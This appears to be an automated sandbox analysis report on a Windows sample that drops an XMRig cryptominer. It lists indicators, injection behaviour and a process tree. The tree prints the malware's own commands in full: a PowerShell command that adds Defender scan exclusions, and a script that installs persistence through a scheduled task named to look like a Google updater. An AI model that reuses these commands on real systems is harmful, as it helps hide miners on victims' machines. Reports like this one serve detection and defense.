Analysis
-
max time kernel
301s -
max time network
299s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
31-03-2023 00:36
Static task
static1
Behavioral task
behavioral1
Sample
13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe
Resource
win7-20230220-en
General
-
Target
13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe
-
Size
3.9MB
-
MD5
a04a12bd76283170bc83848686e4f946
-
SHA1
b41559f22d841698f1c140052273b1254a2b8b4e
-
SHA256
13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44
-
SHA512
b094a4c6cbccb291d9d7f6317381096b37a67771b051f092b0d2436b4e3a468f1ef437f99a88dc66d026d498174e31065f4780fff1f9cbd306d629c1e2b55ab5
-
SSDEEP
98304:vT72zCNeI+sjbIBNmJ1t2WJ8BJXzN9Bhvu4:vPb+sjbIXgUJXzN9Bhvu4
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
Processes:
Provide.exeupdater.execonhost.exedescription pid process target process PID 1516 created 3104 1516 Provide.exe Explorer.EXE PID 1516 created 3104 1516 Provide.exe Explorer.EXE PID 1516 created 3104 1516 Provide.exe Explorer.EXE PID 1516 created 3104 1516 Provide.exe Explorer.EXE PID 4608 created 3104 4608 updater.exe Explorer.EXE PID 4608 created 3104 4608 updater.exe Explorer.EXE PID 4608 created 3104 4608 updater.exe Explorer.EXE PID 4608 created 3104 4608 updater.exe Explorer.EXE PID 4608 created 3104 4608 updater.exe Explorer.EXE PID 3200 created 3104 3200 conhost.exe Explorer.EXE PID 4608 created 3104 4608 updater.exe Explorer.EXE -
XMRig Miner payload 26 IoCs
Processes:
resource yara_rule behavioral2/memory/3692-261-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-264-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-265-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-267-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-269-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-272-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-275-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-277-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-279-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-281-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-283-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-287-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-291-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-293-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-299-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-301-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-303-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-305-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-307-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-309-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-311-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-313-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-315-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-317-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-319-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig behavioral2/memory/3692-321-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation 13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe -
Executes dropped EXE 2 IoCs
Processes:
Provide.exeupdater.exepid process 1516 Provide.exe 4608 updater.exe -
Processes:
resource yara_rule behavioral2/memory/3692-261-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-264-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-265-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-267-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-269-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-272-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-275-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-277-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-279-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-281-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-283-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-287-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-291-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-293-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-299-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-301-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-303-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-305-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-307-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-309-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-311-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-313-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-315-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-317-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-319-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx behavioral2/memory/3692-321-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 4608 set thread context of 3200 4608 updater.exe conhost.exe PID 4608 set thread context of 3692 4608 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
updater.execmd.execmd.exeProvide.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Provide.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Provide.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.execonhost.exepid process 1516 Provide.exe 1516 Provide.exe 4464 powershell.exe 4464 powershell.exe 1516 Provide.exe 1516 Provide.exe 1516 Provide.exe 1516 Provide.exe 4948 powershell.exe 4948 powershell.exe 1516 Provide.exe 1516 Provide.exe 1064 powershell.exe 1064 powershell.exe 4608 updater.exe 4608 updater.exe 4668 powershell.exe 4668 powershell.exe 4608 updater.exe 4608 updater.exe 4608 updater.exe 4608 updater.exe 4216 powershell.exe 4216 powershell.exe 4608 updater.exe 4608 updater.exe 4608 updater.exe 4608 updater.exe 3200 conhost.exe 3200 conhost.exe 4608 updater.exe 4608 updater.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe 3692 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 672 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 4464 powershell.exe Token: SeDebugPrivilege 4948 powershell.exe Token: SeShutdownPrivilege 4280 powercfg.exe Token: SeCreatePagefilePrivilege 4280 powercfg.exe Token: SeShutdownPrivilege 3100 powercfg.exe Token: SeCreatePagefilePrivilege 3100 powercfg.exe Token: SeShutdownPrivilege 4952 powercfg.exe Token: SeCreatePagefilePrivilege 4952 powercfg.exe Token: SeShutdownPrivilege 5088 powercfg.exe Token: SeCreatePagefilePrivilege 5088 powercfg.exe Token: SeIncreaseQuotaPrivilege 4948 powershell.exe Token: SeSecurityPrivilege 4948 powershell.exe Token: SeTakeOwnershipPrivilege 4948 powershell.exe Token: SeLoadDriverPrivilege 4948 powershell.exe Token: SeSystemProfilePrivilege 4948 powershell.exe Token: SeSystemtimePrivilege 4948 powershell.exe Token: SeProfSingleProcessPrivilege 4948 powershell.exe Token: SeIncBasePriorityPrivilege 4948 powershell.exe Token: SeCreatePagefilePrivilege 4948 powershell.exe Token: SeBackupPrivilege 4948 powershell.exe Token: SeRestorePrivilege 4948 powershell.exe Token: SeShutdownPrivilege 4948 powershell.exe Token: SeDebugPrivilege 4948 powershell.exe Token: SeSystemEnvironmentPrivilege 4948 powershell.exe Token: SeRemoteShutdownPrivilege 4948 powershell.exe Token: SeUndockPrivilege 4948 powershell.exe Token: SeManageVolumePrivilege 4948 powershell.exe Token: 33 4948 powershell.exe Token: 34 4948 powershell.exe Token: 35 4948 powershell.exe Token: 36 4948 powershell.exe Token: SeIncreaseQuotaPrivilege 4948 powershell.exe Token: SeSecurityPrivilege 4948 powershell.exe Token: SeTakeOwnershipPrivilege 4948 powershell.exe Token: SeLoadDriverPrivilege 4948 powershell.exe Token: SeSystemProfilePrivilege 4948 powershell.exe Token: SeSystemtimePrivilege 4948 powershell.exe Token: SeProfSingleProcessPrivilege 4948 powershell.exe Token: SeIncBasePriorityPrivilege 4948 powershell.exe Token: SeCreatePagefilePrivilege 4948 powershell.exe Token: SeBackupPrivilege 4948 powershell.exe Token: SeRestorePrivilege 4948 powershell.exe Token: SeShutdownPrivilege 4948 powershell.exe Token: SeDebugPrivilege 4948 powershell.exe Token: SeSystemEnvironmentPrivilege 4948 powershell.exe Token: SeRemoteShutdownPrivilege 4948 powershell.exe Token: SeUndockPrivilege 4948 powershell.exe Token: SeManageVolumePrivilege 4948 powershell.exe Token: 33 4948 powershell.exe Token: 34 4948 powershell.exe Token: 35 4948 powershell.exe Token: 36 4948 powershell.exe Token: SeIncreaseQuotaPrivilege 4948 powershell.exe Token: SeSecurityPrivilege 4948 powershell.exe Token: SeTakeOwnershipPrivilege 4948 powershell.exe Token: SeLoadDriverPrivilege 4948 powershell.exe Token: SeSystemProfilePrivilege 4948 powershell.exe Token: SeSystemtimePrivilege 4948 powershell.exe Token: SeProfSingleProcessPrivilege 4948 powershell.exe Token: SeIncBasePriorityPrivilege 4948 powershell.exe Token: SeCreatePagefilePrivilege 4948 powershell.exe Token: SeBackupPrivilege 4948 powershell.exe Token: SeRestorePrivilege 4948 powershell.exe Token: SeShutdownPrivilege 4948 powershell.exe -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.execmd.exepowershell.execmd.exeupdater.execmd.exedescription pid process target process PID 1244 wrote to memory of 1516 1244 13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe Provide.exe PID 1244 wrote to memory of 1516 1244 13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe Provide.exe PID 3528 wrote to memory of 4280 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 4280 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 3100 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 3100 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 4952 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 4952 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 5088 3528 cmd.exe powercfg.exe PID 3528 wrote to memory of 5088 3528 cmd.exe powercfg.exe PID 1064 wrote to memory of 3740 1064 powershell.exe schtasks.exe PID 1064 wrote to memory of 3740 1064 powershell.exe schtasks.exe PID 4188 wrote to memory of 2748 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 2748 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 4776 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 4776 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 1496 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 1496 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 800 4188 cmd.exe powercfg.exe PID 4188 wrote to memory of 800 4188 cmd.exe powercfg.exe PID 4608 wrote to memory of 3200 4608 updater.exe conhost.exe PID 3348 wrote to memory of 2872 3348 cmd.exe WMIC.exe PID 3348 wrote to memory of 2872 3348 cmd.exe WMIC.exe PID 4608 wrote to memory of 3692 4608 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe"C:\Users\Admin\AppData\Local\Temp\13d6361137c3e50b65f6e7385e44e2a5bbcb435aea861112953579ec2230fd44.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Videos\Provide.exe"C:\Users\Public\Videos\Provide.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#kyugtncpa#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hagzzvhi#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#kyugtncpa#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe umkxajdn2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
